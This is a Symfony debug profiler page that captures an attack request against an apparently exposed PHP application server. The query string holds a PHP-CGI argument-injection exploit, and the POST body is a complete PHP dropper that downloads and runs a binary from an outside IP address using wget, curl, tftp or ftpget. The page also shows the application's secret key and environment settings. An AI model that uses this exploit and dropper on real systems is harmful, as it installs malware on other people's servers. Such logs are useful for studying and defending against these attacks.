Error 404 Not Found

GET http://45.33.16.224/php-cgi/php-cgi.exe?%ADd%20cgi.force_redirect%3D0%20%ADd%20cgi.redirect_status_env%20%ADd%20allow_url_include%3D1%20%ADd%20auto_prepend_fileā€¦

IP
130.12.180.32
Profiled on
Token
68ff88

ErrorController

Request

GET Parameters

Key Value
ļæ½d_cgi_force_redirect=0_ļæ½d_cgi_redirect_status_env_ļæ½d_allow_url_include=1_ļæ½d_auto_prepend_file=php://input 
""

POST Parameters

Key Value
<?php $url_ 
"""
 "http://103.170.217.170/";\n
$windowsbin="pula.exe";\n
$linuxbin="x86";\n
\n
    // if is windows\n
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\n
\n
        shell_exec("taskkill.exe /f /im $windowsbin");\n
        shell_exec("del /f /q $windowsbin");\n
        if (file_put_contents($windowsbin, file_get_contents($url . $windowsbin)))\n
        {\n
            shell_exec("$windowsbin");\n
        }\n
    } else {\n
        $host = parse_url($url, PHP_URL_HOST);\n
        $linuxurl = $url . $linuxbin;\n
        shell_exec("killall $linuxbin; kill -9 $(ps aux | grep $linuxbin | awk '{print $2}')");\n
        shell_exec("cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;rm -rf $linuxbin*;wget $linuxurl || curl -s -o $linuxbin $linuxurl || tftp $host -c get /$linuxbin || tftp -r /$linuxbin -g $host || ftpget -v -u anonymous -p anonymous -P 21 $host -c get /$linuxbin;chmod 777 $linuxbin;./$linuxbin");\n
    }\n
?>\n
"""

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller 
"error_controller"
_stopwatch_token 
"33e829"
exception 
Symfony\Component\HttpKernel\Exception\NotFoundHttpException {#539
  #message: "No route found for "POST http://45.33.16.224/php-cgi/php-cgi.exe""
  #code: 0
  #file: "/var/www/caja_ahorro/vendor/symfony/http-kernel/EventListener/RouterListener.php"
  #line: 156
  -previous: Symfony\Component\Routing\Exception\ResourceNotFoundException {#582 …}
  -statusCode: 404
  -headers: []
  trace: {
    /var/www/caja_ahorro/vendor/symfony/http-kernel/EventListener/RouterListener.php:156 {
      Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest(RequestEvent $event): void …
      › 
      ›     throw new NotFoundHttpException($message, $e);
      › } catch (MethodNotAllowedException $e) {
    }
    /var/www/caja_ahorro/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:115 {
      Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
      › try {
      ›     ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);
      › } finally {
    }
    /var/www/caja_ahorro/vendor/symfony/event-dispatcher/EventDispatcher.php:206 {
      Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event): void …
      ›     }
      ›     $listener($event, $eventName, $this);
      › }
    }
    /var/www/caja_ahorro/vendor/symfony/event-dispatcher/EventDispatcher.php:56 {
      Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, ?string $eventName = null): object …
      › if ($listeners) {
      ›     $this->callListeners($listeners, $eventName, $event);
      › }
    }
    /var/www/caja_ahorro/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:129 {
      Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, ?string $eventName = null): object …
      › try {
      ›     $this->dispatcher->dispatch($event, $eventName);
      › } finally {
    }
    /var/www/caja_ahorro/vendor/symfony/http-kernel/HttpKernel.php:159 {
      Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response …
      › $event = new RequestEvent($this, $request, $type);
      › $this->dispatcher->dispatch($event, KernelEvents::REQUEST);
      › 
    }
    /var/www/caja_ahorro/vendor/symfony/http-kernel/HttpKernel.php:76 {
      Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response …
      › try {
      ›     return $response = $this->handleRaw($request, $type);
      › } catch (\Throwable $e) {
    }
    /var/www/caja_ahorro/vendor/symfony/http-kernel/Kernel.php:193 {
      Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response …
      › try {
      ›     return $this->getHttpKernel()->handle($request, $type, $catch);
      › } finally {
    }
    /var/www/caja_ahorro/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php:34 {
      Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner->run(): int …
      › {
      ›     $response = $this->kernel->handle($this->request);
      › 
    }
    /var/www/caja_ahorro/vendor/autoload_runtime.php:32 {
      require_once …
      ›         ->getRunner($app)
      ›         ->run()
      › );
    }
    /var/www/caja_ahorro/public/index.php:5 {
      › 
      › require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
      › 
      arguments: {
        "/var/www/caja_ahorro/vendor/autoload_runtime.php"
      }
    }
  }
}
logger 
Symfony\Bridge\Monolog\Processor\DebugProcessor {#129
  -records: [
    2 => [
      [
        "timestamp" => 1791971477
        "timestamp_rfc3339" => "2026-10-14T09:51:17.767+00:00"
        "message" => "Uncaught PHP Exception Symfony\Component\HttpKernel\Exception\NotFoundHttpException: "No route found for "POST http://45.33.16.224/php-cgi/php-cgi.exe"" at RouterListener.php line 156"
        "priority" => 400
        "priorityName" => "ERROR"
        "context" => [
          "exception" => Symfony\Component\HttpKernel\Exception\NotFoundHttpException {#539
            #message: "No route found for "POST http://45.33.16.224/php-cgi/php-cgi.exe""
            #code: 0
            #file: "/var/www/caja_ahorro/vendor/symfony/http-kernel/EventListener/RouterListener.php"
            #line: 156
            -previous: Symfony\Component\Routing\Exception\ResourceNotFoundException {#582 …}
            -statusCode: 404
            -headers: []
            trace: {
              /var/www/caja_ahorro/vendor/symfony/http-kernel/EventListener/RouterListener.php:156 {
                Symfony\Component\HttpKernel\EventListener\RouterListener->onKernelRequest(RequestEvent $event): void …
                › 
                ›     throw new NotFoundHttpException($message, $e);
                › } catch (MethodNotAllowedException $e) {
              }
              /var/www/caja_ahorro/vendor/symfony/event-dispatcher/Debug/WrappedListener.php:115 {
                Symfony\Component\EventDispatcher\Debug\WrappedListener->__invoke(object $event, string $eventName, EventDispatcherInterface $dispatcher): void …
                › try {
                ›     ($this->optimizedListener ?? $this->listener)($event, $eventName, $dispatcher);
                › } finally {
              }
              /var/www/caja_ahorro/vendor/symfony/event-dispatcher/EventDispatcher.php:206 {
                Symfony\Component\EventDispatcher\EventDispatcher->callListeners(iterable $listeners, string $eventName, object $event): void …
                ›     }
                ›     $listener($event, $eventName, $this);
                › }
              }
              /var/www/caja_ahorro/vendor/symfony/event-dispatcher/EventDispatcher.php:56 {
                Symfony\Component\EventDispatcher\EventDispatcher->dispatch(object $event, ?string $eventName = null): object …
                › if ($listeners) {
                ›     $this->callListeners($listeners, $eventName, $event);
                › }
              }
              /var/www/caja_ahorro/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php:129 {
                Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher->dispatch(object $event, ?string $eventName = null): object …
                › try {
                ›     $this->dispatcher->dispatch($event, $eventName);
                › } finally {
              }
              /var/www/caja_ahorro/vendor/symfony/http-kernel/HttpKernel.php:159 {
                Symfony\Component\HttpKernel\HttpKernel->handleRaw(Request $request, int $type = self::MAIN_REQUEST): Response …
                › $event = new RequestEvent($this, $request, $type);
                › $this->dispatcher->dispatch($event, KernelEvents::REQUEST);
                › 
              }
              /var/www/caja_ahorro/vendor/symfony/http-kernel/HttpKernel.php:76 {
                Symfony\Component\HttpKernel\HttpKernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response …
                › try {
                ›     return $response = $this->handleRaw($request, $type);
                › } catch (\Throwable $e) {
              }
              /var/www/caja_ahorro/vendor/symfony/http-kernel/Kernel.php:193 {
                Symfony\Component\HttpKernel\Kernel->handle(Request $request, int $type = HttpKernelInterface::MAIN_REQUEST, bool $catch = true): Response …
                › try {
                ›     return $this->getHttpKernel()->handle($request, $type, $catch);
                › } finally {
              }
              /var/www/caja_ahorro/vendor/symfony/runtime/Runner/Symfony/HttpKernelRunner.php:34 {
                Symfony\Component\Runtime\Runner\Symfony\HttpKernelRunner->run(): int …
                › {
                ›     $response = $this->kernel->handle($this->request);
                › 
              }
              /var/www/caja_ahorro/vendor/autoload_runtime.php:32 {
                require_once …
                ›         ->getRunner($app)
                ›         ->run()
                › );
              }
              /var/www/caja_ahorro/public/index.php:5 {
                › 
                › require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
                › 
                arguments: {
                  "/var/www/caja_ahorro/vendor/autoload_runtime.php"
                }
              }
            }
          }
        ]
        "channel" => "request"
      ]
    ]
  ]
  -errorCount: [
    2 => 1
  ]
  -requestStack: Symfony\Component\HttpKernel\Debug\VirtualRequestStack {#128 …}
}

Request Headers

Header Value
accept-encoding 
"gzip"
content-length 
"927"
content-type 
"application/x-www-form-urlencoded"
host 
"45.33.16.224:80"
user-agent 
"Mozilla/5.0"
x-php-ob-level 
"1"

Request Content

Raw

<?php

$url = "http://103.170.217.170/";
$windowsbin="pula.exe";
$linuxbin="x86";

    // if is windows
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {

        shell_exec("taskkill.exe /f /im $windowsbin");
        shell_exec("del /f /q $windowsbin");
        if (file_put_contents($windowsbin, file_get_contents($url . $windowsbin)))
        {
            shell_exec("$windowsbin");
        }
    } else {
        $host = parse_url($url, PHP_URL_HOST);
        $linuxurl = $url . $linuxbin;
        shell_exec("killall $linuxbin; kill -9 $(ps aux | grep $linuxbin | awk '{print $2}')");
        shell_exec("cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;rm -rf $linuxbin*;wget $linuxurl || curl -s -o $linuxbin $linuxurl || tftp $host -c get /$linuxbin || tftp -r /$linuxbin -g $host || ftpget -v -u anonymous -p anonymous -P 21 $host -c get /$linuxbin;chmod 777 $linuxbin;./$linuxbin");
    }
?>

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Wed, 14 Oct 2026 09:51:17 GMT"
vary 
"Accept"
x-debug-exception 
"No%20route%20found%20for%20%22POST%20http%3A%2F%2F45.33.16.224%2Fphp-cgi%2Fphp-cgi.exe%22"
x-debug-exception-file 
"%2Fvar%2Fwww%2Fcaja_ahorro%2Fvendor%2Fsymfony%2Fhttp-kernel%2FEventListener%2FRouterListener.php:156"
x-debug-token 
"68ff88"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_SECRET 
"6952308c3130a9e09fdd88348a9bea0e"
DATABASE_URL 
"mysql://caja_user:[email protected]:3306/caja_ahorro_db?serverVersion=8.0.32&charset=utf8mb4"
DEFAULT_URI 
"http://localhost:8000"
MAILER_DSN 
"smtps://[email protected]:[email protected]:465"
MESSENGER_TRANSPORT_DSN 
"doctrine://default"
UPLOAD_DIRECTORY 
"%kernel.project_dir%/public/uploads"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
APP_PROJECT_DIR 
"/var/www/caja_ahorro"
APP_RUNTIME 
"Symfony\Component\Runtime\SymfonyRuntime"
APP_RUNTIME_OPTIONS 
[
  "project_dir" => "/var/www/caja_ahorro"
]
CONTENT_LENGTH 
"927"
CONTENT_TYPE 
"application/x-www-form-urlencoded"
DOCUMENT_ROOT 
"/var/www/caja_ahorro/public"
DOCUMENT_URI 
"/index.php"
FCGI_ROLE 
"RESPONDER"
GATEWAY_INTERFACE 
"CGI/1.1"
HOME 
"/var/www"
HTTP_ACCEPT_ENCODING 
"gzip"
HTTP_CONTENT_LENGTH 
"927"
HTTP_CONTENT_TYPE 
"application/x-www-form-urlencoded"
HTTP_HOST 
"45.33.16.224:80"
HTTP_USER_AGENT 
"Mozilla/5.0"
PHP_SELF 
"/index.php"
QUERY_STRING 
"%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
REDIRECT_STATUS 
"200"
REMOTE_ADDR 
"130.12.180.32"
REMOTE_PORT 
"45778"
REMOTE_USER 
""
REQUEST_METHOD 
"GET"
REQUEST_SCHEME 
"http"
REQUEST_TIME 
1791971477
REQUEST_TIME_FLOAT 
1791971477.7534
REQUEST_URI 
"/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
SCRIPT_FILENAME 
"/var/www/caja_ahorro/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"45.33.16.224"
SERVER_NAME 
"_"
SERVER_PORT 
"80"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SOFTWARE 
"nginx/1.24.0"
SYMFONY_DOTENV_PATH 
"/var/www/caja_ahorro/.env"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,DEFAULT_URI,DATABASE_URL,MESSENGER_TRANSPORT_DSN,MAILER_DSN,UPLOAD_DIRECTORY"
USER 
"www-data"

Parent Request

Return to parent request (token = a09e08)

Key Value
_remove_csp_headers 
true
_stopwatch_token 
"cd0dc9"